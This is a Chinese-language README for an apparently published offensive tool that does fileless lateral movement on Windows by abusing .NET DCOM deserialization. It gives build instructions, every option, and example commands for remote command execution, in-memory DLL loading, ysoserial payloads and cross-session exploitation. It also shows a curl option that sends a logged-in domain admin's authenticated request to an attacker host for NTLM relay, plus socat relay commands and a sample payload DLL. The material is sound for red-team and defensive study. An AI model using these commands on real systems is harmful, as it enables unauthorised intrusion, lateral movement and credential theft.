通过.NET反序列化实现内存中和无文件的DCOM横向移动技术
Windows 无文件横向移动技术。
此工具可在拥有管理员权限的情况下,在 Windows 机器上实现远程代码执行。它利用 DCOM 及 .NET DCOM 服务器的行为——即自动反序列化传入的对象——从而在不写入磁盘的情况下执行任意命令或加载 DLL。
该技术最初由 James Forshaw 作为一种提权技术发现,后通过远程修改特定注册表项的方式,被改造成横向移动方法。此外,它还支持通过 DCOM 进行跨会话利用,允许在另一用户会话中以该会话的安全上下文执行任意命令。
此工具适用于工作站和服务器,但目标机器与攻击者控制的机器之间需要具备网络可达性。
更多细节参见此章节。
已提供发布版本,也可手动构建:
PS F:\> git clone https://github.com/synacktiv/DCOMIllusionist.git
PS F:\> cd DCOMIllusionist
PS F:\DCOMIllusionist> dotnet publish -c Release -r win-x64
PS F:\> runas /u:LAB\adm /netonly powershell.exe
PS F:\> ./DCOMIllusionist.exe -t 10.10.10.10 --session 1 --curl http://attacker.local --attacker-sid <sid-adm>
[!IMPORTANT]
使用此工具需要同时拥有攻击主机(通过提升权限的 shell)和目标机器的管理员访问权限。
用法:
DCOMIllusionist.exe [options] -t <target> (--ps-exec | --exec | --curl | --file-write-src | --load-dll | --yso-b64 | --test-network | --list-sessions)
选项:
-h, --help 显示此帮助信息并退出
-d, --debug 启用调试日志
-t, --target <value> 设置目标主机名或 IP
-p, --port <value> 设置目标端口(默认:49765)
--clsid <value> 指定 CLSID(不带花括号)
--appid <value> 指定 AppID(不带花括号)
-s, --session <value> 提供会话标识符
-l --listen <host> 指定监听器 FQDN 或 IP
-g, --gadget <value> 指定要使用的 gadget
--attacker-sid <value> 设置攻击者的 SID
--no-port-check 禁用端口可用性检查
--restore-backup <path> 从备份还原注册表
--local-registry-only 仅执行本地注册表修改
--remote-registry-only 仅执行远程注册表修改
--skip-local-registry-setup 跳过本地注册表设置
--skip-remote-registry-setup 跳过远程注册表设置
--hku 对 HKCU 而非 HKLM 执行远程注册表操作
--fake-clsid 创建带有虚假 AppId 的虚假 CLSID
攻击方式:
--ps-exec <args> 使用 PSExec 远程执行命令
--exec <cmd> 远程执行命令
--exec-args <args> 传递给命令的参数
--curl <url> 使用 curl 风格的 Web 请求载荷
--file-write-src <src> 要写入的文件
--file-write-dst <dst> 目标路径
--load-dll <path> 将 DLL 加载到远程进程
--dll-class <value> 要执行的 DLL 中的类(包含命名空间)
--dll-method <value> 类中要执行的静态方法(默认:Run)
--yso-b64 <b64> 执行 base64 编码的 ysoserial 载荷
--test-network 检查目标到攻击者机器的网络可达性
--list-sessions 列出目标上的交互式会话
示例:
DCOMIllusionist.exe --target 192.168.1.10 --exec "whoami"
DCOMIllusionist.exe -t victim.local -p 1337 --listen other.attacker.local --load-dll "payload.dll" --dll-class "Exploit" --session 2
CLSID:
BFFECCA7-4069-49F9-B5AB-7CCBB078ED91 - System.ServiceModel.Internal.TransactionBridge (默认)
2A7B042D-578A-4366-9A3D-154C0498458E - System.Management.Instrumentation.ManagedCommonProvider
37708080-3519-4ED6-91D5-A64B643863FB - Windows.Help.Runtime.CatalogRead
AppId:
577289B6-6E75-11DF-86F8-18A905160FE0 - Windows Push Notification Platform Connection Provider (默认)
63766597-1825-407D-8752-098F33846F46 - CentennialLifetimeManagerConsoleOperator
06C792F8-6212-4F39-BF70-E8C0AC965C23 - 用户帐户控制设置 (交互式用户)
D4872B74-3AFC-47CD-B8A2-9E4F998539BC - 远程云存储工厂 (交互式用户)
--session如前所述,可以通过指定会话,在另一个用户的会话中执行任意命令。
[!WARNING] 仅适用于配置为以交互式用户身份运行的 AppID。工具会自动处理,无需指定
--appid参数,因为默认会使用与 用户帐户控制设置 关联的 AppID。
[!IMPORTANT] 仅当攻击机已加入域时有效,更多细节见此处。
--list-sessions使用 WTSEnumerateSessions 列出目标上的远程交互式和活跃会话。
--listen如果目标机器无法直接访问攻击者主机,利用将会失败。但可以指定一个中间机器供目标连接。通过 socat 等工具,可以将流量从此中间机器中继到攻击者主机。
$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:attacker.local:135
$ socat -v TCP-LISTEN:1337,fork,reuseaddr TCP:attacker.local:1337
PS F:\> ./DCOMIllusionist.exe -t victim.local -p 1337 --listen compromised.local --ps-exec whoami
--attacker-sid当从 runas /netonly shell 运行利用时,无法自动获取关联的身份。因此,需要使用 --attacker-sid 选项显式提供身份信息,否则攻击无法成功。
--exec--exec 可与 --exec-args 一起使用,在目标上执行任意二进制文件:
PS F:\> ./DCOMIllusionist.exe -t victim.local --exec powershell.exe --exec-args "-C calc"
[!NOTE]
--ps-exec只是该功能的包装,同样的效果可以通过--ps-exec calc实现。
--curlCurl 在跨会话利用场景中很有用。如果你对机器拥有管理员权限,并且例如有一个域管理员在会话 3 中处于活动状态,则可以以该用户的身份发起一个完全通过 .NET 实现的经过身份验证的 HTTP 请求。通过将此请求定向到运行 ntlmrelayx.py 的攻击者控制的机器,可以执行传统的 NTLM 中继攻击来攻破该用户。
PS F:\> ./DCOMIllusionist.exe -t 10.10.10.10 --session 3 --curl http://attacker.local
--load-dll可以在完全不接触磁盘的情况下,将任意 DLL 加载到内存中。例如:
// 构建:csc /target:library /optimize /out:Payload.dll Payload.cs
using System.Diagnostics;
public class Payload
{
public static void Run()
{
Process.Start("calc");
}
}
PS F:\> ./DCOMIllusionist.exe -t victim.local --load-dll Payload.dll --dll-class Payload
默认情况下,会执行指定类的静态 Run 方法(无参数)。此行为可通过 --dll-method 参数自定义。
--yso-b64对于高级 gadget 生成,可以使用 Ysoserial.net。生成的 Base64 编码 payload 可以直接提供,它将被封装在 RolePrincipal 实例中并在目标机器上反序列化。
[!WARNING] 仅适用于 BinaryFormatter
--test-network执行与常规利用相同的操作,但仅发送一个虚拟 payload,以确认目标可以连接到攻击者机器。
--hku通过使用 HKEY_USERS 而不是 HKLM 注册表根键,低权限用户也能进行利用。如果用户是 Performance Log Users 或 Distributed COM Users 组的成员,则可使用此方式。此时必须提供 --attacker-sid 以访问正确的注册表路径。还必须提供一个可写的 CLSID(请参见 --fake-clsid):
PS F:\> ./DCOMIllusionist.exe --target victim.local --clsid 1f0dd70c-df30-4b47-8ac4-f72aba8bff24 --exec calc.exe --attacker-sid S-1-5-21-2090540823-3895734423-2628300701-1003 --hku --appid 900f081a-a69d-4a92-9f33-72c141feee9a
--fake-clsid创建一个虚假的 CLSID 和 AppId。在 AppId 上设置权限,使得当前用户或 --attacker-sid 可以启动并激活 DCOM 服务器。当通过低权限用户在 HKU 上进行利用时非常有用。
PS F:\> ./DCOMIllusionist.exe --target victim.local --fake-clsid --attacker-sid S-1-5-21-2090540823-3895734423-2628300701-1003 --hku
[+] 正在创建虚假 CLSID
[+] 新 AppId:{900f081a-a69d-4a92-9f33-72c141feee9a}
[+] 新 CLSID:{1f0dd70c-df30-4b47-8ac4-f72aba8bff24}
当一个用 .NET 编写的 DCOM 服务器接收到一个对象时,它会查询 IManagedObject DCOM 接口。如果该接口存在,服务器会调用 GetSerializedBuffer 方法。客户端会返回该对象的序列化版本,服务器随后将其反序列化,从而导致任意代码执行。要使此操作成功,受害机器必须能够直接网络访问攻击者主机(参见 --listen)。
通过伪造任意 DCOM OBJREF,可以将目标机器重定向到任何远程系统。例如,可以使用 socat 将 135 端口(以及另一个任意端口)的流量转发到实际攻击者控制的机器。在 James Forshaw 的概念验证中(后来成为了“马铃薯”漏洞利用的基础),他使用了 PointerMoniker 的 GUID 来在 OBJREF 中编排任意对象。该方法成功触发了身份验证,但在后续步骤中失败。通过改用标准编排器的 GUID,可以创建并发送功能完善的任意 OBJREF。
然而,在测试的 Windows Server 版本上,默认没有暴露 .NET DCOM 服务器。为了实现远程交互,可以远程修改 Windows 注册表,将一个自定义 AppID 关联到一个 .NET CLSID,使其可通过 DCOM 访问。通过精心选择 AppID,还可以通过会话标记实现跨会话利用(前提是目标机器上存在交互式会话)。这也是由 James Forshaw 发现并详细阐述的,详见这里和这里。
为了使利用成功,目标服务器必须从攻击者控制的机器获取序列化对象数据(gadget)。这就要求服务器向攻击者主机进行身份验证。
如果 AppID 未配置为以交互式用户的身份运行,则身份验证尝试将以 Anonymous 身份发起。为了允许这一点,攻击者机器必须通过修改其默认 DCOM 访问权限来接受匿名 DCOM 身份验证。
当 AppID 与交互式用户关联时,身份验证将使用指定会话(通过 --session)或默认会话 0 中的用户身份进行。在这种情况下,攻击者机器必须加入域才能接受该用户的身份验证。这就是为什么会临时将 Everyone 组添加到默认 DCOM 访问权限中以实现成功身份验证的原因。
需要注意的是,仅修改默认访问权限,启动和激活权限保持不变。所有更改在操作完成后都会恢复。如果出现问题,会创建原始设置的备份,并可以恢复。
[!CAUTION] 攻击者机器在利用期间会暂时处于更宽松的状态,但所有更改之后都会恢复。
TextFormattingRunProperties gadget 方面的工作,他展示了如何在内存中加载任意 DLL。这被复用于 --curl 和 --file-write 攻击。